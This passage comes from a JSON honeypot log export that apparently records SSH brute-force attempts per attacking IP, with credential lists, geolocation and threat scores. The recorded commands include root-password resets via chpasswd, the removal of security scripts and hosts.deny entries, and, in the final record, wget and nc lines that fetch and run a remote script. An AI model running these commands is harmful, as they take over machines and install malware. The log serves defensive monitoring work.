        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:19:44.071000+00:00",
        "last_seen_30d": "2026-05-03T02:39:33.404000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 340,
        "Suricata": 181
      }
    },
    "156.240.120.78": {
      "attack_count": 334,
      "first_seen": "2026-05-23T08:24:02.653Z",
      "last_seen": "2026-05-24T10:38:42.159Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "User",
        "ali",
        "amp",
        "andy",
        "aroot",
        "azureuser",
        "omega",
        "spectrum",
        "surya",
        "ts2",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111",
        "123!@#qweQWE",
        "123456abc.",
        "1234Qwer!",
        "123qwe!@#",
        "147258",
        "1q2w3e4r",
        "P@ssword.",
        "Tk123456",
        "User",
        "Welcome@1234",
        "admin@12345",
        "ahead",
        "ali12345",
        "amp",
        "andy",
        "aroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:TGHRI9NuGQoL\"|chpasswd|bash",
        "echo \"root:TmPP6uNZ4frV\"|chpasswd|bash",
        "echo \"root:rAtSUox9TswS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 55967,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 412,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:24:02.653000+00:00",
        "last_seen_30d": "2026-05-24T10:39:46.908000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 334,
        "Suricata": 78
      }
    },
    "150.5.154.160": {
      "attack_count": 280,
      "first_seen": "2026-05-31T00:46:32.286Z",
      "last_seen": "2026-05-31T01:10:05.588Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nishant",
        "debian",
        "deployer",
        "jenny",
        "ubuntu",
        "unifi",
        "user-backup"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678a@",
        "1Digital",
        "Aptx4869",
        "P@s$w0rd",
        "P@ssw0rd.1",
        "Pa$$w0rd",
        "Qwerty1!",
        "Sw.123456",
        "admin",
        "asdfghjkl",
        "jenny",
        "nishant",
        "root123456@",
        "unifi123",
        "user-backup"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"nishant\\nB48o1wxetRg6\\nB48o1wxetRg6\\n\"|passwd",
        "echo \"root:V0OWXJRug72e\"|chpasswd|bash",
        "echo \"root:rDiS20BNicFm\"|chpasswd|bash",
        "echo -e \"nishant\\nB48o1wxetRg6\\nB48o1wxetRg6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:46:32.286000+00:00",
        "last_seen_30d": "2026-05-31T01:11:09.425000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 46
      }
    },
    "161.97.86.138": {
      "attack_count": 203,
      "first_seen": "2026-05-26T20:18:39.008Z",
      "last_seen": "2026-05-26T20:53:36.922Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "systemd",
        "ubuntu",
        "abdullah",
        "fabian",
        "jackson",
        "server",
        "victor",
        "wd"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "!QAZ4esz",
        "111222",
        "123",
        "123456",
        "123789",
        "123qweQWE@",
        "2233",
        "Aa.123456",
        "Server123",
        "Voidsetdownload.so",
        "ab123456",
        "abdullah",
        "admin1234",
        "fjbdfdjkdsfs541544AA@@",
        "iloveyou",
        "jackson",
        "wd"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin1234\\nEHG3W7LemVgI\\nEHG3W7LemVgI\\n\"|passwd",
        "echo -e \"admin1234\\nEHG3W7LemVgI\\nEHG3W7LemVgI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:18:39.008000+00:00",
        "last_seen_30d": "2026-05-26T20:54:43.313000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 54
      }
    },
    "159.65.2.17": {
      "attack_count": 193,
      "first_seen": "2026-05-29T11:30:00.791Z",
      "last_seen": "2026-05-29T11:53:33.869Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "proxyuser",
        "user2",
        "admin",
        "pedrito",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456aaA",
        "India@123",
        "Q1w2e3r4!@#$",
        "fjbdfdjkdsfs541544",
        "p@$$W0rd",
        "password123",
        "pedrito",
        "pppp",
        "qwer1234@",
        "user2user2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nDDy9Is4sE4UU\\nDDy9Is4sE4UU\\n\"|passwd",
        "echo \"user2user2\\n8NpRsWTrgjME\\n8NpRsWTrgjME\\n\"|passwd",
        "echo -e \"123456\\nDDy9Is4sE4UU\\nDDy9Is4sE4UU\"|passwd|bash",
        "echo -e \"user2user2\\n8NpRsWTrgjME\\n8NpRsWTrgjME\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:30:00.791000+00:00",
        "last_seen_30d": "2026-05-29T11:54:40.696000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "216.172.190.116": {
      "attack_count": 189,
      "first_seen": "2026-05-14T12:20:10.673Z",
      "last_seen": "2026-05-14T13:03:34.928Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ethan",
        "345gs5662d34",
        "dev",
        "elsearch",
        "ftp1",
        "harish",
        "huawei",
        "linux",
        "pakchoi",
        "szy",
        "user1",
        "username"
      ],
      "passwords_attempted": [
        "123",
        "linux123",
        "111",
        "12345@Abc",
        "123Qwe123C",
        "147896325",
        "1qazxsw2!@#$",
        "3245gs5662d34",
        "345gs5662d34",
        "A@12345678",
        "Admin!@#456",
        "Huawei12#$",
        "Kermit123@",
        "P@ssw0rd.1",
        "Server@2026",
        "Yy123456!",
        "admin",
        "asd@123",
        "dev@2025",
        "elsearch"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\ndypOOL75itP1\\ndypOOL75itP1\\n\"|passwd",
        "echo -e \"123\\ndypOOL75itP1\\ndypOOL75itP1\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T12:20:10.673000+00:00",
        "last_seen_30d": "2026-05-14T13:04:41.950000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 189,
        "Suricata": 61
      }
    },
    "43.173.90.78": {
      "attack_count": 169,
      "first_seen": "2026-05-17T14:52:27.761Z",
      "last_seen": "2026-05-17T15:15:17.974Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "gmodserver",
        "345gs5662d34",
        "boss",
        "himanshu",
        "holu",
        "iksi",
        "novinhost",
        "oracle",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12344",
        "123456aA",
        "135790135790",
        "1qazCDE#",
        "312",
        "3245gs5662d34",
        "345gs5662d34",
        "AAbb1234",
        "Aa147258!",
        "Root@123",
        "Sy123456",
        "Zk123456.",
        "boss",
        "gmod",
        "himanshu",
        "holu",
        "novinhost.org",
        "p@$$w0rd",
        "qazxswedc123",
        "root123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gmod\\n6smUbhB9NPn6\\n6smUbhB9NPn6\\n\"|passwd",
        "echo -e \"gmod\\n6smUbhB9NPn6\\n6smUbhB9NPn6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:52:27.761000+00:00",
        "last_seen_30d": "2026-05-17T15:16:24.466000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 49
      }
    },
    "128.0.104.39": {
      "attack_count": 162,
      "first_seen": "2026-05-05T01:18:11.056Z",
      "last_seen": "2026-05-31T12:34:40.945Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 6698,
      "as_org": "Virtual Systems LLC",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:18:11.056000+00:00",
        "last_seen_30d": "2026-05-31T12:35:48.812000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "124.226.216.189": {
      "attack_count": 159,
      "first_seen": "2026-05-08T10:41:51.098Z",
      "last_seen": "2026-05-17T15:57:49.990Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "ftpuser",
        "345gs5662d34",
        "admin123",
        "root",
        "server1",
        "smbuser",
        "test",
        "test1",
        "vuser"
      ],
      "passwords_attempted": [
        "12340",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "PASS",
        "Password1",
        "Welcome123$%^",
        "admin123",
        "admin2021",
        "qwerty",
        "root123",
        "server2021",
        "smbuser",
        "toor",
        "zephyr"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin2021\\nmlLim9kqbtqG\\nmlLim9kqbtqG\\n\"|passwd",
        "echo -e \"admin2021\\nmlLim9kqbtqG\\nmlLim9kqbtqG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137693,
      "as_org": "CHINATELECOM Guangxi Nanning IDC networkdescr: NanningGuangxi Province, P.R.China.",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:41:51.098000+00:00",
        "last_seen_30d": "2026-05-17T16:07:57.898000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 67
      }
    },
    "103.75.71.22": {
      "attack_count": 156,
      "first_seen": "2026-05-03T15:16:59.248Z",
      "last_seen": "2026-05-29T19:58:39.609Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:16:59.248000+00:00",
        "last_seen_30d": "2026-05-29T19:59:42.986000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "194.42.205.100": {
      "attack_count": 156,
      "first_seen": "2026-05-02T23:42:14.662Z",
      "last_seen": "2026-05-31T20:13:59.087Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 30860,
      "as_org": "Virtual Systems LLC",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:42:14.662000+00:00",
        "last_seen_30d": "2026-05-31T20:15:02.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "123.58.209.58": {
      "attack_count": 143,
      "first_seen": "2026-05-24T10:46:56.866Z",
      "last_seen": "2026-05-24T11:41:41.314Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "arthur",
        "dmdba",
        "root/1",
        "school",
        "sftp",
        "teamspeak"
      ],
      "passwords_attempted": [
        "123456",
        "1984",
        "1Qazxsw2",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "AAbb1234",
        "Qwert12345!",
        "Root2025.",
        "a741852963",
        "arthur",
        "matrix",
        "qq123456!",
        "root",
        "school",
        "sftp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lMkQNtPOM2Fg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:46:56.866000+00:00",
        "last_seen_30d": "2026-05-24T11:42:50.013000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "173.230.140.10": {
      "attack_count": 143,
      "first_seen": "2026-05-31T21:14:51.047Z",
      "last_seen": "2026-05-31T21:40:35.309Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "angel",
        "ankit",
        "app",
        "dd",
        "factorio",
        "guest",
        "lee",
        "tempuser",
        "test",
        "vitor"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123++",
        "Ty123456",
        "admin_123",
        "ankit@123",
        "as123456",
        "dd",
        "password1",
        "qweqweqwe1",
        "root@123",
        "vitor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PwjeaW55S25d\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:14:51.047000+00:00",
        "last_seen_30d": "2026-05-31T21:41:43.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "196.249.247.30": {
      "attack_count": 132,
      "first_seen": "2026-05-19T18:09:41.528Z",
      "last_seen": "2026-05-20T10:45:46.560Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:09:41.528000+00:00",
        "last_seen_30d": "2026-05-20T10:46:52.741000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "31.57.129.10": {
      "attack_count": 126,
      "first_seen": "2026-05-08T21:02:37.959Z",
      "last_seen": "2026-05-08T23:06:01.324Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "12345",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "shell",
        "system",
        "cd /tmp || cd /var/run || cd /var/tmp || cd /dev/shm || cd /",
        "enable",
        "sh",
        "wget http://31.57.129.10/bins/kaf.sh -O .k 2",
        "wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &",
        "(echo -e 'GET /bins/kaf.sh HTTP/1.0\\r\\nHost: 31.57.129.10\\r\\n\\r\\n'|nc 31.57.129.10 80|sed '1,/^$/d')>.k;chmod 777 .k;sh .k &",
        "/bin/busybox wget http://31.57.129.10/bins/kaf.sh -O .k 2>/dev/null && chmod 777 .k && sh .k &",
